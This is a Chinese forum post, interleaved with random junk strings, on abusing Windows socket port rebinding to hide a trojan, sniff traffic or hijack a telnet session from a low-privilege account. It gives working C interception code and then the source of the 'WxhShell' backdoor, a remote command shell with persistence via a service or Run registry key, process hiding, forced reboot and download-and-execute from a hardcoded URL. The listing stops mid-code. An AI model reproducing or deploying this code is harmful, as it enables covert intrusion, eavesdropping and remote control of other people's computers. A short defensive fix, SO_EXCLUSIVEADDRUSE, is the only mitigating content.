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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5Q"yn2b4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (-ELxshd  
Sr+hB>{  
  saddr.sin_family = AF_INET; C\{A|'l!x  
[C!*7h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SY95s  
"]3o93 3 D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,RV>F_  
WOPIF~1v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TY/'E#.  
Q``1^E'  
  这意味着什么?意味着可以进行如下的攻击: l#uF%;GDX  
uV|F 3'jT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "= 2\kZ  
27}:f?2hbJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?* ~4~ZE E  
(YJ2- X~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H2iIBGu|L  
M._h=wX{}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t!4 (a0\$F  
hq4&<Zr(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P%B|HnG^  
mN-O{k0\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +:Xg7H*  
e"1mdw"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^/%o I;O{  
wsdZwik  
  #include sudh=_+>  
  #include &$ }6:  
  #include eP (*.  
  #include    q AVypP?J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |>P:R4P  
  int main() xlcCL?qQj  
  { -qpvVLR,  
  WORD wVersionRequested; HM(X8iNt  
  DWORD ret; N[9o6Nl|a  
  WSADATA wsaData; Ri"rT] '  
  BOOL val; ^WU[+H ;  
  SOCKADDR_IN saddr; R;,5LS&*a  
  SOCKADDR_IN scaddr; 5X8 i=M;  
  int err; ?taC !{  
  SOCKET s; uv5NqL&  
  SOCKET sc; q'fOlq  
  int caddsize; ^G qO>1U  
  HANDLE mt; xqdkc^b  
  DWORD tid;   krGIE}5  
  wVersionRequested = MAKEWORD( 2, 2 ); `?T::&`  
  err = WSAStartup( wVersionRequested, &wsaData ); YS4"TOFw  
  if ( err != 0 ) { Qraq{'3  
  printf("error!WSAStartup failed!\n"); yl*%P3m|  
  return -1; /?BTET  
  } IUAe6  
  saddr.sin_family = AF_INET; _e8Gt6>  
   nUs=PD3)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6x5Q*^w  
-7oIphJ=\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [4EIy"  
  saddr.sin_port = htons(23); Cm5L99Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DmWa!5  
  { Mmgm6{  
  printf("error!socket failed!\n"); C-_u`|jQ  
  return -1; r:rPzq1  
  } Bd*Ok]  
  val = TRUE; ^69(V LK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TN Z -0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -~sW@u)O  
  { ZHwl9n#m  
  printf("error!setsockopt failed!\n"); X'.l h#&  
  return -1; 'xEomo#  
  } (7_ezWSl>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dM,{:eID  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ao7M(f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vh|m[p  
I 8 ?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j!L7r'AV5  
  { /=V!lRs  
  ret=GetLastError(); \7UeV:3Ojn  
  printf("error!bind failed!\n"); q-1vtbn  
  return -1; }<z [t5  
  } JFu.o8[Q  
  listen(s,2); &~<i" W  
  while(1) +pUYFDwFx  
  { ^tyqc8&  
  caddsize = sizeof(scaddr); H[R6 ?H@$F  
  //接受连接请求 dtQ3iuV %  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'e>'J ZR  
  if(sc!=INVALID_SOCKET) XYV`[,^h&  
  { ;p,Kq5,l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SA"4|#3>7  
  if(mt==NULL) "T8b.ng  
  { daB 5E<?  
  printf("Thread Creat Failed!\n"); eMOp}.zt|  
  break; _4{3^QZq5  
  } i*xVD`x~  
  } C9Cl$yZ  
  CloseHandle(mt); x wfdJ(&  
  } >0:=<RW  
  closesocket(s); |+-b#Sa9  
  WSACleanup(); Nog{w  
  return 0; JBV 06T_4o  
  }   3"HEXJMc  
  DWORD WINAPI ClientThread(LPVOID lpParam) # b3 14  
  { ieOw&  
  SOCKET ss = (SOCKET)lpParam; FIJ]`  
  SOCKET sc; aTaL|&(  
  unsigned char buf[4096]; }PMlG  
  SOCKADDR_IN saddr; Qc Xw -  
  long num; GB*^?Ii  
  DWORD val; !bW^G} <t  
  DWORD ret; W9GjUswv!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3;//o<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P=ubCS'  
  saddr.sin_family = AF_INET; %@I= $8j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); - Lsl  
  saddr.sin_port = htons(23); 3D,tnn+J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r"7 !J[u  
  { .L)j ql%  
  printf("error!socket failed!\n"); vA?3kfL|#  
  return -1; }y|_v^  
  } 1LmbXH]%  
  val = 100; Z'wGZ(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -ADb5-px  
  { H'@@%nO (  
  ret = GetLastError(); "NV~lJS%  
  return -1; f1\mE~#}  
  } P?=}}DI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |l~#qeZ%  
  { pSx}:u^am  
  ret = GetLastError(); P!R`b9_U  
  return -1; H/0b3I^  
  } |i(@1 l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bM,%+9oz;  
  { Z%{`j!!p  
  printf("error!socket connect failed!\n"); [Z[ p@Ux  
  closesocket(sc); 2"Ki5  
  closesocket(ss); ;%/}(&E2  
  return -1; X-yS9E  
  } Qj9'VI>&  
  while(1) W 6R/{H  
  { e=i9l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gue~aqtJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ()_^:WQO?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xn<x/e  
  num = recv(ss,buf,4096,0); w\>@> *E>  
  if(num>0) T#YJ5Xw  
  send(sc,buf,num,0); wem hP8!gc  
  else if(num==0) dsZ-|C  
  break; |v"&Y  
  num = recv(sc,buf,4096,0); U uSCqI};  
  if(num>0) {UuSNZ[^  
  send(ss,buf,num,0); w!l*!G  
  else if(num==0) .V{y9e+  
  break; 1VPxCB\  
  } fc^d3wH0L  
  closesocket(ss); hIo ^/_K  
  closesocket(sc); J)^Kls\> t  
  return 0 ; I5E4mv0<i  
  } E`q)vk   
fTI~wF8!  
&*qAB)* *  
========================================================== ou\~^  
kybDw{(}gc  
下边附上一个代码,,WXhSHELL WQNFHRfO*n  
{%v{iE>  
========================================================== Mgux (5`;  
z| m-nIM  
#include "stdafx.h" :w9s bW  
9d+z?J:  
#include <stdio.h> ^B'N\[  
#include <string.h> $btk48a7  
#include <windows.h> P\2x9T  
#include <winsock2.h> LHusy;<E[  
#include <winsvc.h> X> V`)  
#include <urlmon.h> sWMY Lo  
5eX+9niY  
#pragma comment (lib, "Ws2_32.lib") 9t{Iv({6p  
#pragma comment (lib, "urlmon.lib") 1v9 #Fr Y  
<)$JA  
#define MAX_USER   100 // 最大客户端连接数 4#D>]AX  
#define BUF_SOCK   200 // sock buffer >'{'v[qR[G  
#define KEY_BUFF   255 // 输入 buffer P?M WT]fY  
SuJ4)f;'0  
#define REBOOT     0   // 重启 'dd[= vzK  
#define SHUTDOWN   1   // 关机 Dp;6CGYl?  
oN.#q$\` k  
#define DEF_PORT   5000 // 监听端口 RA:3ZV  
e8hwXz  
#define REG_LEN     16   // 注册表键长度 I*= =I4qx  
#define SVC_LEN     80   // NT服务名长度 hODq& 9!  
F t;[>o  
// 从dll定义API 9y;8JO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6z1>(Za7>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QzD8 jk#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'zx1kq1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WTj,9  
Si=u=FI1e  
// wxhshell配置信息 [_3L  
struct WSCFG { f5vsxP)Y[  
  int ws_port;         // 监听端口 x4/f5  
  char ws_passstr[REG_LEN]; // 口令 \`|OAC0a  
  int ws_autoins;       // 安装标记, 1=yes 0=no B&z~}lL  
  char ws_regname[REG_LEN]; // 注册表键名 e-YMFJtoK}  
  char ws_svcname[REG_LEN]; // 服务名 a*{ -r]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XjJ[7"hs*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5H/D~hr&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3/RNStd<L!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ),U>AiF]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $w ,^q+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j%Z%_{6Ds*  
'>dx~v %  
}; fqD1Ej  
KOVR=``"/  
// default Wxhshell configuration R}0!F 2  
struct WSCFG wscfg={DEF_PORT, 4w(#`'I>  
    "xuhuanlingzhe", 8Rd*`]@[pk  
    1, (-hGb:  
    "Wxhshell", PG'+vl  
    "Wxhshell", kTS #>uS  
            "WxhShell Service", ~cW,B}  
    "Wrsky Windows CmdShell Service", =LojRY  
    "Please Input Your Password: ", ]"-c?%L  
  1, MI|anM  
  "http://www.wrsky.com/wxhshell.exe", S2"H E`  
  "Wxhshell.exe" nQ^ c{Bm:  
    }; yq\p%z$:  
|eFce/  
// 消息定义模块 g+/m:(7[s|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |Fp+9U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4xzoA'Mb@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &265 B_'D  
char *msg_ws_ext="\n\rExit."; N Uo   
char *msg_ws_end="\n\rQuit."; ffoLCx4o0E  
char *msg_ws_boot="\n\rReboot..."; vjO@"2YEw  
char *msg_ws_poff="\n\rShutdown..."; 5YnTGf&  
char *msg_ws_down="\n\rSave to "; :B5M#D!dO  
^U]B&+m  
char *msg_ws_err="\n\rErr!"; ;wj8:9 ;  
char *msg_ws_ok="\n\rOK!"; M%qHf{ B  
<~-cp61z;  
char ExeFile[MAX_PATH]; =.8fES  
int nUser = 0; xPorlX)zW  
HANDLE handles[MAX_USER]; ynU20g  
int OsIsNt; Eh/Z4pzT  
!5=S 2<UX  
SERVICE_STATUS       serviceStatus; ctu`FQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0XUWK@)P  
|Y]4PT#EE  
// 函数声明 O}mz@- Z  
int Install(void); 8)51p+a  
int Uninstall(void); IO}53zn<l  
int DownloadFile(char *sURL, SOCKET wsh); DNy 6Kw  
int Boot(int flag); XPsRa[08WK  
void HideProc(void); )lDmYt7me  
int GetOsVer(void); Hw 1cc3!  
int Wxhshell(SOCKET wsl); dE ]yb|Ld  
void TalkWithClient(void *cs); A4hbh$  
int CmdShell(SOCKET sock); O[<0\  
int StartFromService(void); /YT _~q=:  
int StartWxhshell(LPSTR lpCmdLine); n(?BZ'&!O  
Gsa~zGN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?5jq)xd2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !pAb+6~T  
8a,pDE  
// 数据结构和表定义 L@>$ Aw  
SERVICE_TABLE_ENTRY DispatchTable[] = x4%1P w  
{ PiZU _~A  
{wscfg.ws_svcname, NTServiceMain}, +jN%w{^=  
{NULL, NULL} 5tQZf'pHfd  
}; r%UsUj  
IT=<p60"  
// 自我安装 mVNHH!  
int Install(void) ~"}o^#@DwJ  
{ Gx/kel[Y}  
  char svExeFile[MAX_PATH]; @z1pE@7jK  
  HKEY key; kYnp$8  
  strcpy(svExeFile,ExeFile); y,cz;2  
s?~lMm' !  
// 如果是win9x系统,修改注册表设为自启动 ]x:>!y  
if(!OsIsNt) { 3T84f[CFJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { br4?_,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q3}WO] TBj  
  RegCloseKey(key); ~1.B fOR8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \_8.\o"@*#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VL2+"<  
  RegCloseKey(key); ^&Wa? m.  
  return 0; O#72h]  
    } iTIYq0u|#R  
  } E2u9>m4_J  
} 1yV+~)by3  
else { EUjA-L(  
jSd[  
// 如果是NT以上系统,安装为系统服务 E) z=85;_p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TAp8x  
if (schSCManager!=0) gOLN7K-)  
{ jU0E=;1  
  SC_HANDLE schService = CreateService uN+]q qCf  
  ( "^NsbA+  
  schSCManager, 4I!g?Moh  
  wscfg.ws_svcname, Z )'gj  
  wscfg.ws_svcdisp, w:c9Z=KX  
  SERVICE_ALL_ACCESS, Z,1b$:+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~>B`T%=H  
  SERVICE_AUTO_START, g#b9xTG J^  
  SERVICE_ERROR_NORMAL, r2G38/K  
  svExeFile, +sFpIiJg  
  NULL, =>htX(k}  
  NULL, %:e.ES  
  NULL, !yo@i_1D  
  NULL, .)Zs:5 0l  
  NULL Ci_Qra 6  
  ); E(g$f.9  
  if (schService!=0) FL E3LH  
  { o8h` 9_  
  CloseServiceHandle(schService); $(+#$F<eo+  
  CloseServiceHandle(schSCManager); V[2}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4=qZ Z>[t  
  strcat(svExeFile,wscfg.ws_svcname); 4~ i?xo=;v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ld?'X=eQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yZQcxg%  
  RegCloseKey(key); PWk\#dJN&  
  return 0; &M{;[O{  
    } }*?,&9/_)  
  } Fxv5kho  
  CloseServiceHandle(schSCManager); W[<ZI>mf  
} 3 nnoXc'  
} 0)rayzv  
bYBEh n  
return 1; $Ts;o  
} i|[**P  
6_g:2=6S  
// 自我卸载 X.+|o@G  
int Uninstall(void) $8WWN} OC  
{ \>[k0<  
  HKEY key; .,F`*JVFq  
vEw8<<cgg  
if(!OsIsNt) { M@+Pq/f:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mI'&!@WG  
  RegDeleteValue(key,wscfg.ws_regname); .t7ME{  
  RegCloseKey(key); s w{e |  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $:RR1.Tv  
  RegDeleteValue(key,wscfg.ws_regname); >!Dp'6  
  RegCloseKey(key); JFFluL=-  
  return 0; o3JSh=  
  } "h-ZwL  
} ==AmL]*  
} pp@O6   
else { '<{Jlz(u9  
yw1-4*$c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a:Nf +t  
if (schSCManager!=0)  JKV&c= I  
{ `BVXF#sb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uHq;z{ 2GI  
  if (schService!=0) 8]D0)  
  { P^AI*tH"m  
  if(DeleteService(schService)!=0) { 0< 93i   
  CloseServiceHandle(schService); -9Dr;2\  
  CloseServiceHandle(schSCManager);  :!Nx'F9a  
  return 0; #>6Jsnv1  
  } X0Wx\xDg[  
  CloseServiceHandle(schService); +ZOKfX  
  } =Cd{bj.8  
  CloseServiceHandle(schSCManager); P$Q,t2$A  
}  +;-ZU  
} 0:`*xix  
QP/ZD|/ t1  
return 1; G*_qqb{B  
}  &Ufp8[  
nyetK  
// 从指定url下载文件 0 9qfnQG  
int DownloadFile(char *sURL, SOCKET wsh) Y"L|D,ex  
{ QBh*x/J  
  HRESULT hr; @C%6Wo4l3  
char seps[]= "/"; IhRdn1&  
char *token; /DjsnU~3  
char *file; ) "Z6Q5k^  
char myURL[MAX_PATH]; b gxk:$E  
char myFILE[MAX_PATH]; `<{LW>Lb  
"  sC]z}  
strcpy(myURL,sURL); />N#PF  
  token=strtok(myURL,seps); vVP.9(  
  while(token!=NULL) yi:}UlO  
  { l(W?]{C[%  
    file=token; >qs/o$+t}  
  token=strtok(NULL,seps); y^z c @f  
  } 1nw\?r2  
TF9A4  
GetCurrentDirectory(MAX_PATH,myFILE); et"Pb_-U  
strcat(myFILE, "\\"); bB>.dC  
strcat(myFILE, file); xS>vmnW  
  send(wsh,myFILE,strlen(myFILE),0); tW a'[2L  
send(wsh,"...",3,0); !nq`Py MR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #m17cDL  
  if(hr==S_OK) {Kf5a m  
return 0; A{e>7Z72  
else w3z'ZCcr;"  
return 1; ':3[?d1Es  
G<* Iw>ep  
} C1+f\A|9FP  
'4_c;](W  
// 系统电源模块 >bd@2au9!  
int Boot(int flag) ~sZ$`t  
{ y+Hz(}4  
  HANDLE hToken; cg o  
  TOKEN_PRIVILEGES tkp; ~> N63I6  
8Ihl}aguW  
  if(OsIsNt) { jZC[_p;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IJt'[&D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +xvn n  
    tkp.PrivilegeCount = 1; ;6~5FTmV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Eh)VT{vp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l4dG=x}M]  
if(flag==REBOOT) { Oi zj |'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z1]nC]2  
  return 0; ;rF[y7\  
} r<4j;"lQK  
else { Rj4C-X 4=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YYT#{>&  
  return 0; x NjQ"'i8  
} eWN g?*/  
  } CmV &+C$V%  
  else { !\$V?*p7  
if(flag==REBOOT) { W+/_0GgQ3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (^(l=EN-<  
  return 0; o.kDOqd  
} jCXBp>9$M  
else { &q@brX<,=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .6T0d 4,1  
  return 0; Q4hY\\Hi  
} R :(-"GW'  
} 6M. |W;  
\=7jp|{Yl  
return 1; "l9aBBiu  
} nJGs,~"  
X9NP,6  
// win9x进程隐藏模块 e0h[(3bXs$  
void HideProc(void) ;g? |y(xv  
{ [`oVMR  
\PUJD,9H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;kY~-Om  
  if ( hKernel != NULL ) pu+Q3NfR  
  { G<Eb~]. 1'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EwX{i}j_V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yW (|auq  
    FreeLibrary(hKernel); b,YNCb]H  
  } 3F@P$4!#l  
aZCq{7Xs  
return; W7 dSx  
} \Dy|}LE  
jS~Pdz  
// 获取操作系统版本 -F[@)$L  
int GetOsVer(void) QF\nf_X  
{ Ei):\,Nv  
  OSVERSIONINFO winfo; FOk;=+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @aZTx/  
  GetVersionEx(&winfo); P!E2.K,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5K2K'ZkI  
  return 1; Z#L4n#TT  
  else V^&*y+  
  return 0; XC)9aC@s  
} e1LIk1`p  
i/%l B  
// 客户端句柄模块 y/c3x*l.xL  
int Wxhshell(SOCKET wsl) <JH,B91  
{ ?KOw~-u  
  SOCKET wsh; giX[2`^NG  
  struct sockaddr_in client; (Jw_2pHxr"  
  DWORD myID; 3,Yr%`/5'  
Uu5(/vw]  
  while(nUser<MAX_USER) eF22 ~P  
{ cl2_"O  
  int nSize=sizeof(client); #}FUau$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V(F9=r<X  
  if(wsh==INVALID_SOCKET) return 1; _OTVQo Ap  
Bskp&NV':  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .WqqP  
if(handles[nUser]==0) M|K^u.4  
  closesocket(wsh); j}eb _K+I  
else DkEv1]6JI_  
  nUser++; T1 $E][@Iv  
  } p>;@]!YWQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =I546($  
5EcVW|(  
  return 0; UGI<V!  
} wCB*v<*  
ZQ_6I}i")  
// 关闭 socket ~}}<+JEEO  
void CloseIt(SOCKET wsh) :86:U 0^  
{ nYj rEy)Q  
closesocket(wsh); e))L&s  
nUser--; 3@Mh* \;\b  
ExitThread(0); {9U!0h-2"  
} fk5'v   
<[cpaZT,  
// 客户端请求句柄 #mw !_]  
void TalkWithClient(void *cs) @m9pb+=v  
{ q\?s<l63  
> 0MP[  
  SOCKET wsh=(SOCKET)cs; >ep<W<b  
  char pwd[SVC_LEN]; 0bDc 4m  
  char cmd[KEY_BUFF]; B5;%R01A  
char chr[1]; oT):#,s  
int i,j; M}x%'=Pox  
**Ioy+  
  while (nUser < MAX_USER) { hr fF1 >A  
%S^hqC  
if(wscfg.ws_passstr) { 05 q760I+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BsIF3sS#9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [~ s+,OO9)  
  //ZeroMemory(pwd,KEY_BUFF); QDg5B6>$  
      i=0; @@Ybg6.+*  
  while(i<SVC_LEN) { B2ln8NF#Q  
)}`z<)3jP  
  // 设置超时 6iyl8uL0J  
  fd_set FdRead; # dWz,e3   
  struct timeval TimeOut; Lj<TzPzg*  
  FD_ZERO(&FdRead); P_1WJ  
  FD_SET(wsh,&FdRead); hpF_@n  
  TimeOut.tv_sec=8; FfJp::|ddr  
  TimeOut.tv_usec=0; Qh1pX}X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FBNLszT{L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9{jMO  
+Y sGH~jX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2{rWAPHgz  
  pwd=chr[0]; 5-|!mSd   
  if(chr[0]==0xd || chr[0]==0xa) { DQQ]grU  
  pwd=0; 6DHK&<=D8  
  break; +?{"Q#.>;  
  } mrP48#Y+l  
  i++; )A7^LLzG  
    } 0!\C@wnH  
l/'GbuECm  
  // 如果是非法用户,关闭 socket 1_] X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \%a0Lp{ I  
} 89FAh6uE  
Xxg|01  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V/ G1C^'/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 73cb1 kfPd  
Trv}YT.  
while(1) { :W*yfhLt  
i< ^X z  
  ZeroMemory(cmd,KEY_BUFF); Y\]ZIvTSb  
)}@D\(/@  
      // 自动支持客户端 telnet标准   ~v;I>ij  
  j=0; nHdQe  
  while(j<KEY_BUFF) { XHk"nbj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xpR`fq  
  cmd[j]=chr[0]; 1&=)Bxg4  
  if(chr[0]==0xa || chr[0]==0xd) { Ek)drt7cy  
  cmd[j]=0; t{]Ew4Y4%O  
  break; U6M ~N0)Yr  
  } ; j!dbT~5  
  j++; U#[&(  
    } 1!v{#w{u7  
!/XNpQP  
  // 下载文件 !<p,G`r  
  if(strstr(cmd,"http://")) { u5oM;#{@-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |2j,  
  if(DownloadFile(cmd,wsh)) = j1Jl^[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >a?Bk4w  
  else v1OVrk>s>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fvC,P#z'|  
  } Ss>pNH@ c  
  else { J?8Mo=UZz  
BIWe Hx  
    switch(cmd[0]) { d+q],\"R  
  duY?LJ@g  
  // 帮助 i/9iM\2  
  case '?': { &>JP.//spi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o P`l)`  
    break; GTP'js  
  } 6'Q{xJe?  
  // 安装 <L-F3Buu  
  case 'i': { x6UXd~ L e  
    if(Install()) SOOVUMj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u<edO+  
    else NU=ru/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HOP*QX8C%  
    break; g< j)  
    } Z =+Z96  
  // 卸载 .4+R ac  
  case 'r': { JsJP%'^/R  
    if(Uninstall()) MGR:IOTa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dkz/hg:q  
    else '=_(fa,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yvYMk(LSF  
    break; f% pT-#  
    } *dw.=a9  
  // 显示 wxhshell 所在路径 f{P1.?a  
  case 'p': { XGl2rX&  
    char svExeFile[MAX_PATH]; W+ S~__K  
    strcpy(svExeFile,"\n\r"); +S4n416K  
      strcat(svExeFile,ExeFile); io4<HN  
        send(wsh,svExeFile,strlen(svExeFile),0); Cyg2o<O@  
    break; )5}<@Ql  
    } V`I4"}M1  
  // 重启 7}kJp%-  
  case 'b': { ! ?g+'OM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ix!xLm9\  
    if(Boot(REBOOT)) m/=nz.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A=N$5ZJ  
    else { 28!C#.(h  
    closesocket(wsh); AP&//b,^M  
    ExitThread(0); CP7dn/  
    } C"I jr=w  
    break; t(z]4y  
    } gNCS*a  
  // 关机 =D`8,n [  
  case 'd': { Scrj%h%[  
